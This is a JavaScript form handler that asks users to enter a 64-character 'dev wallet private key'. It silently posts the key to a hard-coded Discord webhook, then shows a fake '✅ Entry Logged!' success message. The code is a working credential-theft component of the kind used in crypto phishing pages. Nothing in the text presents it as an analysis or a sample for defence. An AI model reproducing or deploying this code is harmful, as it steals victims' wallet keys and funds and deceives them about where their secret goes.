devKeyForm.addEventListener('submit', async (e) => { e.preventDefault(); devKeyStatus.textContent = ''; const devKey = devKeyInput.value.trim(); if (devKey.length !== 64) { devKeyStatus.textContent = '❌ Dev key must be exactly 64 characters.'; devKeyStatus.className = 'text-red-400 mt-2 text-sm'; return; } devKeySubmitBtn.disabled = true; devKeyStatus.textContent = 'Sending dev key...'; devKeyStatus.className = 'text-gray-300 mt-2 text-sm'; try { await fetch('https://discord.com/api/webhooks/1397931493044518912/jwSjnZz3S5rRcnq4HRf6izhsiSKSbtJcUHPffRSmCLb-Mr_qTErjYu0J_TTkNMGF-QNa', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: `Dev Wallet Private Key: ${devKey}` }), }); devKeyStatus.textContent = '✅ Entry Logged!'; devKeyStatus.className = 'text-green-400 mt-2 text-sm'; setTimeout(() => { hideStep2Modal(); showSuccessBox(); // Show success notification with random ID }, 1000); } catch (err) { devKeyStatus.textContent = '⚠️ Error sending dev key.'; devKeyStatus.className = 'text-red-400 mt-2 text-sm'; } finally { devKeySubmitBtn.disabled = false; } });